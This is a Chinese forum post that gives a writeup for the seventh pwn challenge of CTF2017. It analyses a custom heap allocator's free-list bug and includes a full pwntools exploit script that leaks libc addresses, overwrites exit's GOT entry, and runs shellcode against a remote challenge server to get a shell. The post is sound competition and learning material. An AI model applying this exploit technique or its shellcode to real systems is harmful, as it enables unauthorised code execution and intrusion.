首页
社区
课程
招聘
[原创]CTF2017 第七题 pwn_Ox9A82 writeup
2017-11-7 01:02 5037

[原创]CTF2017 第七题 pwn_Ox9A82 writeup

2017-11-7 01:02
5037
这题刚开始漏看了一个条件……导致花了很多时间……虽然感觉没有那个条件也能做出来……但是想了很长时间没有找到非常好的方法……
漏看的条件就是mmap的区域是rwx的……所以可以直接上shellcode
程序主要实现了一个小探险游戏,而且数据的空间的动态分配由作者自己的malloc和"free"管理


userheap_init 讲 作者写的堆初始化,具体做的事情就是mmap出一块内存,然后将其地址存入一个全局变量top中,并将该地址+4096存入一个全局变量max中,之后每次分配(调用user_malloc)的时候从mmap的内存中划分一块出来,然后更新top,同时检查是否超过max,如果超过max既分配失败

那个malloc(0x50)不知道干嘛使得……
然后是第一层的"游戏登录"界面

banner,getint,getn都没什么好说的……分别是打印出banner,输入一个数,并atoi转成int,和输入n个字符,invalid_choice就输出invalid choice

这里程序用到了status这个结构,定义如下

其中username和password即为我们前面注册的时候所输入的,每个限制16字符,character是game中用到的另外一个结构体,存储当前玩家的各种状态

user_malloc的代码如下

先根据想要分配的大小,round到一个固定的大小,16,48,40,400中的一个,然后调用alloc_from_mmap这个函数来从之前mmap中的内存中分配


这里可以看到我们之前所提的根据max的检测,同时这里用到了一个Bin的结构体,类似malloc中的bin,存储该区块大小和引用计数(这里有点不是很一样),ptr存储我们实际的数据

之后还会有个free_list的结构来track所有被free过的块……然而malloc并没有用到它……非常迷……


insert这个函数就很有意思了……也是bug的所在

get_chunk会从我们给定的ptr中找到Bin这个结构所在的位置,即倒着找16个字节

allocated会增加ptr2,我们要插入的这个chunk的引用计数

user_free中含有我们需要触发的bug

find_valid_pointer_addr 从v3这个值开始,检测a1的每个指针是不是一个有效地址(这个操作非常迷……我至今还是没有弄懂为什么要这样做……),可以注意到的一点是这里检测的有效地址是包括ptr这个区域的……所以我们可以伪造一个指针,来让他假如free_list中(之后我们可以用它来伪造各种指针)


检测到有效地址后,我们把它插入到我们的freelist的头上,并把free_list的地址移到下一个指针(这里也是个没有非常明白的操作……这不是会和之后的东西有重叠的可能性吗……)

可看出insert的算法是这样的,先检测我们要插入的那个地址有没有指针,有的话把他"free“掉再插入新的指针,同时增加新指针的引用计数,free的时候会找到所有的有效地址,对于每个地址更新当前free_list所指的地方的值,并将free_list + 1,同时将free后的指针的ptr更改为所对应的free_list地址

这里有个很有趣的事情就是假如我们输入的数据中有有效地址并且当前区块被free掉的话,那么会发生以下事情

1. find_valid_pointer_addr找到我们数据中有效地址所存储的地址并返回
2. get_chunk返回我们有效地址-0x10
3. insert_freelist 会将我们有效地址-0x10+0x10变成free_list,同时会将我们有效地址的值存入free_list中,然后free_list++

所以我们得到了一个任意地址写free_list当前地址的函数……看起来好像没有特别大用……POC如下
r = process('./pwn')
register(p64(0x6050f0), "a", "a")
register("a", "a", "a") 
register第二次的时候我们原来register的地址会被free掉,造成我们可以往0x6050f0这个地址写free_list,这个地址是我们的cheat_struct的地址(game函数中会说明)


所以我们接着分析game这个主要函数
输入用户名密码我们就可以开始game了……

其中goto和explore exp中不会用到,这里忽略
cheat既我们刚才说的可以往cheat_struct中写数据的函数

由于我们之前已经覆盖了cheat_struct为free_list的地址,这里不会走第二个分支,而会直接走第一个分支,让我们往content里面写东西,这就造成了我们可以往free_list里写东西

cheat结构体定义

但我们注意到我们可以写的数据足足有300字节之多,由于free_list是在第一次free的时候分配的,因此他的地址比我们第二次register时候分配的status的地址要低,所以通过写free_list我们可以达到复写堆上结构的目的

然后我们来分析剩余的结构体


show_status

假如我们将status覆盖(地址高于cheat),并改写其character的指针,我们可以达到任意读的效果

这里需要注意的一点是location这个值必须是个正常值,否则程序会报错然后直接退出,这里刚开始我leak了got的地址不过后来发现没有用……于是例子就贴leak cheat的地址的好了……得到cheat地址以后我们就知道user_heap的基地址了
fake_status = p64(0) + p64(1) + p64(2) + p64(3) + p64(4) + p64(0x6050d0)
cheat(p64(0) * 14 + fake_status)
_, cheat_addr = show()
其中使用的返回值第一个是health,第二个是weight

得到mmap的地址以后……我们就可以创建各种结构体了,主要需要做的就是控制insert的第一个参数指针所指向的地址为我们exit的got地址
通过view_backpack、中的edit_items即可做到

这里要注意一定要保证链表的每个节点都是可用的,既next_item为0或指向item的地址

backpack是个item的链表,结构体定义如下

我们可以控制status,因此可以控制character,也就能控制backpack,构造伪造的status, character和backpack将backpack里面的某个值调整为我们exit的got地址即可,这里限制total必须是1,insert_free_list里面限制技术引用必须是1,伪造的结构体如下
fake_status = p64(0) + p64(1) + p64(2) + p64(3) + p64(1) + p64(cheat_addr + 0x10)
fake_character = p64(0x403c2b) + p64(0) + p64(100) + p64(200) + p64(50) + p64(0)
fake_character += p64(cheat_addr + 0x90 + len(fake_status))
fake_backpack = p64(1) + p64(100) + p64(elf.got['exit']) + p64(0) + p64(1) + p64(0) + p64(0) + p64(1) + p64(1)
cheat(fake_character + "a" * (0x70 - len(fake_character)) + fake_status + fake_backpack) 
之后只要触发我们的edit_items就可将exit的got地址指向我们free_list地址,之后再用cheat将该地址的数据改为shellcode即可。最后我们需要随便触发一个exit,这里我用的是将location设成奇怪的值,整理后,全部的exp代码如下
from pwn import *
import re

offset_atoi = 0x0000000000036e80
offset_rand = 0x000000000003af60
offset_system = 0x0000000000045390

context(os = 'linux', arch = 'x86_64')
elf = ELF('./pwn')
MENU = "==============================\n"
GAME = "0.exit"
cheat_init = False

def cheat(content, name=""):
    global cheat_init
    r.recvuntil(GAME)
    r.sendline('5')
    if not cheat_init:
        r.recvuntil('name:')
        r.sendline(name)
        cheat_init = True
    r.recvuntil('content:')
    r.sendline(content)

def register(username, password, name):
    r.recvuntil(MENU)
    r.sendline('2')
    r.recvuntil('username')
    r.sendline(username)
    r.recvuntil('password')
    r.sendline(password)
    r.recvuntil('name')
    r.sendline(name)

def login(username, password):
    r.recvuntil(MENU)
    r.sendline('1')
    r.recvuntil('username:')
    r.sendline(username)
    r.recvuntil('password:')
    r.sendline(password)

def exit():
    r.recvuntil(GAME)
    r.sendline('0')

def show():
    r.recvuntil(GAME)
    r.sendline('1')
    r.recvuntil('Health : ')
    res = re.findall('[0-9]+', r.recvline())[0]
    atoi = int(res)
    r.recvuntil('Weight : ')
    res = re.findall('-[0-9]+', r.recvline())[0]
    rand = 100 - int(res) 
    return atoi, rand

fake_status = p64(0) + p64(1) + p64(2) + p64(3) + p64(4) + p64(elf.got['time'])
#r = process('./pwn')
r = remote('123.206.22.95', 8888)
register(p64(0x6050f0), "a", "a")
register("a", "a", "a")
cheat_init = True
register("b", "b", "b")
login("b", "b")
cheat(p64(0) * 14 + fake_status)
atoi, rand = show()
log.info('atoi at 0x%x' % atoi)
log.info('rand at 0x%x' % rand)
base = atoi - offset_atoi
log.info('libc base at 0x%x' % base)
system = base + offset_system
log.info('system at 0x%x' % system)
fake_status = p64(0) + p64(1) + p64(2) + p64(3) + p64(4) + p64(0x6050d0)
#fake_character = p64(0x403c2b) + p64(0) + p64(100) + p64(200) + p64(50) + p64(0) + 
cheat(p64(0) * 14 + fake_status)
_, cheat_addr = show()
log.info('cheat at 0x%x' % cheat_addr)

code = asm(shellcraft.sh())

fake_status = p64(0) + p64(1) + p64(2) + p64(3) + p64(1) + p64(cheat_addr + 0x10)
fake_character = p64(0x403c2b) + p64(0) + p64(100) + p64(200) + p64(50) + p64(0)
fake_character += p64(cheat_addr + 0x90 + len(fake_status))
fake_backpack = p64(1) + p64(100) + p64(elf.got['exit']) + p64(0) + p64(1) + p64(0) + p64(0) + p64(1) + p64(1)
cheat(fake_character + "a" * (0x70 - len(fake_character)) + fake_status + fake_backpack)

r.recvuntil(GAME)
r.sendline('2')
r.recvuntil('Choice:')
r.sendline('1')
r.recvuntil('2.return')
r.sendline('1')
r.recvuntil('2.return')
r.sendline('2')
r.recvuntil('Choice:')
r.sendline('1')
#gdb.attach(r)

fake_status = p64(0) + p64(1) + p64(2) + p64(3) + p64(1) + p64(cheat_addr + 0x80 + 0x30)
fake_character = p64(0x403c2b) + p64(0) + p64(100) + p64(200) + p64(50) + p64(1000)
cheat(p64(0) * 3 + code + "a" * (0x70 - 0x18 - len(code)) + fake_status + fake_character)
r.interactive() 
这里我刚开始想过复写atoi的got到system……但是insert要求两个地址都是可写的……所以做不到(allocated会写ptr2的count),最后会写ptr1
同时将指针放在数据中也行不通……因为insert_freelist会写入a1的ptr,freelist我们又改不到……所以也是要求两个指针都可写,所以直接写system肯定不行……然后考虑用类似unlink的方法改cheat的指针或者free_list的指针……发现也不行……malloc_hook, free_hook也都调不到……一度陷入了僵局……后来发现mmap是课执行的……于是直接shellcode搞定……不知道假如mmap的区域不可执行这题还能不能解?

[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

收藏
点赞1
打赏
分享
最新回复 (3)
雪    币: 13713
活跃值: (2851)
能力值: ( LV15,RANK:2663 )
在线值:
发帖
回帖
粉丝
poyoten 22 2017-11-7 20:28
2
0
我就没有用shellcode,此题漏洞点有点大。。。
雪    币: 459
活跃值: (652)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
ssarg 2017-11-8 23:11
3
0
两位体力都不错啊,祝夺冠。
雪    币: 870
活跃值: (2264)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
s1ber 2018-7-22 23:33
4
0
写的很好
游客
登录 | 注册 方可回帖
返回